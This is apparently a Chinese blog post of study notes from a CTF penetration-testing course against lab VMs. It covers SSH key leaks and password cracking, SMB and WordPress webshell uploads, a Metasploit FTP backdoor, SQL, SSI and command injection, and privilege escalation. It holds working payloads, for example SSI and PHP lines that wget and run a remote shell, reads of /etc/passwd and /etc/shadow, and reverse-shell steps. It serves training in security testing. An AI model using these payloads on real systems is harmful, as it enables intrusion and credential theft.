CTF夺旗训练课程

第一章 课程介绍与环境搭建

1-2 环境搭建

攻击机统一为kali,直接用ova文件创建靶场机器后,靶场机器要求进行登陆。

可我们并没有用户名和密码。问题是:如果我们不进行登陆,如何获得靶场机器的ip地址?从而达到联通靶场机器的目的.

这里我们使用netdiscover命令 netdiscover -r ip/子网掩码

  

24为24位二进制数1,就是255.255.255.0。

然后扫描出192.168.157这个网段的存活主机。

第二章 SSH服务

2-1 SSH私匙泄露

首先对靶场机器进行探测,我们使用nmap命令 nmap -sV ip

这里我们可以看到靶场机器开放的端口和对应的服务,此靶场机器上开启了ssh服务和两个http服务。

接下来我们分析特殊端口,尤其对开放http服务的大端口(本靶机上31337端口开放了http服务)

怎么探测http端口信息?我们可以使用浏览器来浏览http服务的信息

这里并没有信息,那这里有没有隐藏文件?我们使用dirb命令来探测隐藏文件

成功探测到五个隐藏文件(隐藏起来的肯定有问题)

这里有两个敏感目录robots.txt和.ssh,我们打开robots.txt看看它把什么藏住了。

这里有三个目录,taxes是英文单词?打开获得第一个flag

下面我们看敏感目录.ssh(ssh服务的作用是让远程计算机登录到本地ssh服务上,进行远程操作)

这目录中有私钥和公钥,运行服务时私钥公钥进行对比,对比成功则运行服务。

我们发现访问id_rsa(私钥)和authorized_keys(认证关键字)文件可以进行下载(公钥不用下载),这里就存在私钥泄露。

对私钥进行赋读写权限,ls -alh查看权限,chmod 600 文件名

有了私钥,我们就可以尝试使用ssh命令对靶机进行远程登录(ssh -i 私匙 用户名/id        用户名在认证关键字中泄露)

我们登录时提示我们要输入密码,

我们有了私钥文件就可以从私钥文件中把密码解出来,使用ssh2john和zcat进行解密。

上一条命令对私钥信息进行转换,转换成john可以识别的信息;

后一条命令用zcat命令,使用字典。。。管道。。规则。。什么什么的进行解密,得到一个密码 starwars

成功远程登录!pwd查看下当前目录,ls查看下当前目录文件。

发现并没有我们想要的,这时候我们应该想到去访问root目录,在ctf比赛中根目录root都是有重要信息的。

访问后的确发现了flag.txt,但是我们却没有权限访问,这时候就是如何提权的问题了。

这条命令是从根目录开始查找,看有哪些命令是具有执行权限的。其中2>/dev/null用于防止错误信息。

发现有一条命令是read_message,而我们目录下刚好有个c代码叫做read_message.c,查看一下,发现第二个flag和一段c代码。

c的大概意思是输入一段文字和已知字符串simon进行匹配,匹配成功输出一段文字和message目录下的一个文件。

从c代码中我们可以看出,我们输入的为一个长度20的数组,如果溢出会不会执行?(应该和c中的execve函数有关系)

我们在前面输入simon匹配c,再加入十五个字符,之后再接/bin/sh提升下权限?

成功提权,然后我们用提权后的用户去访问之前的flag.txt,拿到第三个flag。

2-2、2-3 SSH服务渗透测试

因为两个虚拟机分别在viralbox和VMvare上,在家配置实验环境的时候,只要把两个虚拟机都桥接出来就可以了ping通了。

可是来到学校教育网只能连接一个机器,就不能用桥接模式了。博主想到能不能把两个机器连在同一个NAT网络上,同一个虚拟机软件自动连接在同一个NAT网络上。博主百般尝试,不同虚拟机软件即使设置的内网ip已经是同一网段了,仍然相互不可发现不可ping通.....博主能想出的解决方法只能是1.把kali也同样装在viralbox上。2.找一个不是校园网的地方进行操作。

面对SSH服务22端口开放的靶场:

首先考虑:1、暴力破解用户名和密码 2、私匙泄露(私匙有没有对应的密码、是否可以找到私匙的用户名)

面对HTTP服务80端口开放的端口或者其他端口的靶场:

首先考虑:1、通过浏览器访问对应靶场http服务(http://ip:http端口号) 2、使用探测工具探测http目录文件(dir http://ip:http端口号、nikto -host ip)

特别注意:大于1024的特殊端口.          拿到ssh私钥(wget "")要是有解密密码要进行对应的解密。

远程登录服务器之后,我们要扩大战果:1.查看当前用户whoami 2.id查看当前用户权限  3.查看根目录,寻找flag文件(一般情况下,flag文件需要提权之后root用户才能查看)

提权前常用命令 cat/etc/passwd:查看所有用户的列表  cat/etc/group:查看用户组 

                            fin/-user 用户名:查看属于某些用户的文件   /tmp :查看缓存文件目录

深入挖掘  通过/etc/ctontab文件,设定系统自动执行的任务,编辑需要root权限。不同的用户都可以有不同的定时任务。

cat /etc/crontab 挖掘其他用户是否有定时任务,并查看对应的任务内容。(执行的任务肯定对应靶场机器的某个文件)

若有定时计划文件,具体目录下却没有这个定时执行的文件,可以自行创建反弹shell,然后netcat执行监听获取对应权限;若有这个定时执行的文件,切换到对应目录,查看对应权限,查看当前用户是都具有读写权限。

原理是套接字什么什么的.....,然后发现返回的shell也不能提权?

最后进行暴力破解出第三个用户名的密码,登录 -u提权,

总结:在对SSH服务渗透中,大部分情况是利用获取的私钥文件,直接使用用户名和私钥文件登录靶场机器,个别情况是进行暴力破解获取用户密码,通过用户名和对应用户登录靶场机器。

第三章 SMB服务

3-1.SMB信息泄露

SMB(Server Message Block)协议是一个通信协议,一般使用的端口为139,445,后来Linux移植了SMB,并称为samba。SMB协议,计算机可以访问网络资源,下载对应的资源文件。

通过扫描,我们可以看到靶机开放了smb服务

有SMB服务,我们可以 1、尝试使用空口令登录(提示输入密码直接空密码)

发现一个打印驱动、一个共享文件夹share$和一个空链接。

ls查看共享的文件夹。share$里发现许多敏感文件,用get下载下来到本地查看,其中deet.txt泄露了一个密码12345;wordpress目录下的config是个配置文件(小文件用cat看,大文件用gedit看)(一般配置文件都是泄露了用户名和密码),发现泄露了数据库的用户名和密码。

想起来之前发现靶机开启了mysql数据库服务,看看能不能远程登录。

并不能远程登录mysql,然后我们看到还有个ssh协议,这可是远程登录协议,尝试用这个用户名和密码登录。

还是失败。

接下来就是SMB漏洞的第二个尝试利用 2、用searchsploit samba版本号 看看是否存在远程溢出漏洞~~结果是不存在

靶机还开放了80端口http服务,用正常方法探测80端口泄露,发现/wordpress/wp-admin/这个后台管理登录页面(。。开发后台的人都知道这是后台管理登录页面?)用我们得到的用户名密码登录,成功登录。

接下来就是上传木马提权:1、制作webshell 2、启动监听获取返回的shell

启动监听用的是msfonsole集成模块,use exploit/multi/handler.....与上同

然后就要上传webshell了,上传webshell有固定的上传点:上传到theme的404界面,然后访问404.php获得反弹的shell

在后台管理界面appearence的editor可以找到404页面,把代码全部改成webshell里的,上传!

然后通过固定路径http://靶场IP/wordpress/wp-content/themes/twentyfourteen/404.php访问webshell(固定路径怎么来?当前主机又要改成fifiteen,看404界面提示是什么就改成什么)

反弹回了shell,我们就可以对靶机进行操作了,获得了普通权限。

接下来还是同样的,优化终端(python -c "import pty;pty.spawn('/bin/bash')")

使用cat /etc/passwd/查看当前系统的其他用户名(注意home目录下)发现个togie用户,su togie去切换到togie目录,密码用之前发现的12345登录成功。

还是要去切换到root权限,用sudo -l查看su能执行哪些操作,然后用sudo su来提升权限.....(上下步骤有什么关系吗)

最后在root找到flag.txt,搞掂。

第四章 FTP服务

4-1 FTP服务后门利用(典型已知的服务漏洞利用)

FTP、File transfer protocol文件传输协议,同时它也是一个应用程序。下载和上传就是用这个协议。

同样开始用netdiscover发现靶机ip后,用nmap探测开启的端口或服务。

发现开启了ssh,http和ftp这三个服务。

我们发现了ftp的版本号,我们可以使用seachsploit来查看对应的版本该服务有没有可利用的漏洞。

发现了利用漏洞,并且列出了集成利用方式(Metasploit)和利用代码位置(15662.txt)(需要修改这个文件造成溢出,太烦)

接下来使用Metasploit进行溢出(用msfconsole打开)

1、输入search对应软件和版本号  2、use exploit  3、查看可以使用的payload (show payload)

4、set payload  5、设置参数 show options 、set rhost(靶机ip)、 set lhost (本机ip) 6、进行远程溢出(exploit) 7、执行命令 id,发现获得的直接是root权限

然后用python美化界面...如上节,查看root目录下的flag获得flag值。

第五章 靶场夺旗

5-1.靶场夺旗(一个实战)

   先没看视频前自己先看了下,开放的是ssh服务,两个http服务(其中一个为9090大端口),ftp服务(searchsploit了一下,发现这个版本的ftp没有已知漏洞)。在/passwords/FLAG.txt目录下面有一个flag,另外的在robot.txt找到的/cgi-bin/tracertool.cgi有一个ping网址的功能,猜测是命令注入漏洞(怎么利用?)。

重要:nmap扫描主机开放全部端口:nmap -p- -T4 靶场IP地址(这个比直接nmap扫出的端口全!!!)

对于大端口的非http服务,可以使用nc来探测改端口的banner信息;nc ip 端口号

对于大端口的http服务,可以使用浏览器浏览界面查看源代码,寻找flag值;

本次探测通过nc13337和6000端口分别返回了一个flag和一个shell,这个shell直接就是root权限(但这个root权限只能查看当前文件夹?),然后在shell上面ls看到个FLAG.txt,直接查看又看到一个flag。

大端口的http服务直接在浏览器上访问那个端口,出来一个登录页面直接有一个flag,这个登录页面没有提交按钮,应该(自己弄的时候被火狐自带的防火墙挡住了,还以为是靶机的防火墙.....解决方案:点击页面右下 Advanced 再点击 Add Exception,按照步骤添加信任就OK了)

在80端口的目录password.html下,本以为只是出题者嘲讽一句,没想到查看源代码之后有一个密码为winter,先记下。

ftp服务:在浏览器中输入ftp://靶场ip 可以匿名登录ftp服务器根目录,查看敏感文件,注意看源代码

进入ftp服务发现又有一个flag.txt。

命令注入漏洞的利用:在正常的输入id之后加分号,再加所需要执行的任务,如(127.0.0.1;id;pwd)

cat这俩文件,发现是两个快乐小猫?(后来知道是cat命令被限制了,作者画一只小猫嘲讽)

我看刚开始得到了一个密码winter,这时候再找一个用户名就可以使用ssh进行登录了,账号我们到/etc/passwd查看。

这里我们不能用cat命令了,用相近的命令more来代替。

我们发现两个在home目录下的用户名,Summer和Morty

ssh登录靶场机器(直接ssh 用户名@靶场ip 如果有私钥就-i添加 ;如果端口不是22就用-p修改 ),发现被拒绝了!

这时候发现还有个22222端口不知道干什么的但又很明显是人为开的端口,就用-p把ssh服务改到22222端口去(卧槽!)

然后成功远程连接,并成功又发现一个FLAG.txt

第六章 HTTP服务

6-1 SQL注入GET参数

sql注入概念就不说了,课程主要是通过sql注入漏洞,获取对应的用户名和密码,登录系统后台,寻找上传点上传shell,执行shell并返还shell给攻击机,最终取得flag值。

这道题通过80端口找到一个登录界面,以及可以被sqlmap简单扫到的界面,登录之后看到文件上传漏洞,用msfvenom生成shell,用把后缀的.php改成.PHP就可以上传shell,然后msfconsole监听对应端口,执行并返回shell。

6-2 SQL注入POST参数-注入HTTP报文

首先进行普通的信息收集,查到一个网址。然后抓包,sqlmap发现post参数可注入,然后就是登录注shell反shell一条龙。

ps:获取shell也可以在 /usr/share/webshells/ 中获取;启动监听也可以用 nc -nlvp port 进行;

      wordpress中404访问webshell地址:http://靶场IP:端口号/目录/wp-content/themes/主题名/404.php

提权 sudo -su、su -

6-3 SQL注入-X-Forwarded-For报头文

在漏扫工具扫出在X-Forwarded-For表头可以注入,那么久用sqlmap注入(加上 --headers="X-Forwarded-For:*"即可)

如果想同时dump两个字段可以用逗号分隔 -C “login,password”

 

6-4 SSI注入

SSI(server side inject),服务端注入,在动态页面还没出现之前,SSI广泛用于赋予静态页面动态效果,可通过SSI执行系统命令,并返回对应结果。在网站中发现 .stm .shtm .shtml,很有可能是SSI注入攻击。

ssi注入就是寻找一个输入点输入类似<!--#exec cmd="命令" --> 格式,看看能不能运行系统命令。

如 <!--#exec cmd="ls" --> <!--#exec cmd="cat /etc/passwd" --> 

切换目录<!--#exec cmd="cd /root/dir/" -->

下载shell脚本并重命名 <!--#exec cmd="wget http://ip/shell.txt | rename shell.txt shell.php" --> 

当然,要从攻击机下载shell,就要吧shell.txt移动(mv)到 /var/www/html/ 目录下,然后开启apache服务,service apache2 start , 查看apache状态 service apache2 status  ,然后还要赋予shell.php权限 chomd 777 shell.php。(如果靶机有python服务,且下载下来的shell无法在网站访问,最好用下载python的shell,这样直接执行命令python shell.py就可以了,方便)(当然用php webshell.php也是可以的)

执行shell后命令:sysinfo 查看系统信息 ;shell 进去系统shell;python优化shell

 

6-5 路径遍历(拿到www-data用户权限)

路径遍历攻击(也称目录遍历、目录爬升、回溯、点-点杠 )旨在访问存储在web根文件夹之外的文件和目录。

ps:系统操作访问控制会限制对文件的访问权限。

用漏扫工具扫出了对应的漏洞和利用URL。

路径遍历的利用:上传webshell到服务器,之后通过对应的目录遍历路径访问webshell,执行webshell,获取反弹结果。(ctf常见弱口令 admin 12345)

ps:如果我们进入数据库管理页面,我们可以创立以.php结尾的数据库,然后把表的字段设为php代码(如<?php system("cd /tmp;wget http://ip:port/webshell.php;chmod 777 webshell.php;php webshell");?>)当访问这个库时代码自动执行。

创建服务器供靶机下载shell:python -m "SimpleHTTPServer" (在当前目录创建一个服务器,这时候就不一定是80端口了)

破解liunx用户名和密码 /etc/passwd  /etc/shadow  unshadow passwd shadow > cracked ; john cracked

 

6-6 暴力破解

暴力破解步骤:

用wpscan对站点进行用户名枚举(输入wpscan可以列出可使用的命令,然后使用wpscan --url url/目录 --enumerate u 命令对目标站点用户名枚举);

再kali上可以用命令行工具Metasploit的暴力破解模块对站点进行暴力破解

暴力破解出用户名密码在404界面上传shell即可返回shell

提权:

在msfconsole的监听界面的msf>状态是什么?可以直接把靶机的文件下载到本地?

流程就是下载俩文件,转格式,解析出密码,输入密码提升权限

 

6-7 路径遍历(提升root用户权限)

往往CTF比赛中flag位于root目录下,而我们需要root权限才能打开,所以我们要对shell进行提权。

ps:在home目录下找config文件可能能找到密码;通过反弹的shell登录后可能还要寻找密码,进行ssh登录到另一个用户再进行提权操作。

输入sudo -l提示有两个文件一个zip一个tar可以用来提权

6-8 命令执行

6-9 命令执行(使用集成工具测试)

6-10 PUT上传漏洞

6-11 命令注入1

6-12 命令注入2

 

 

 

 

 

 

 

 

 

评论 8
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值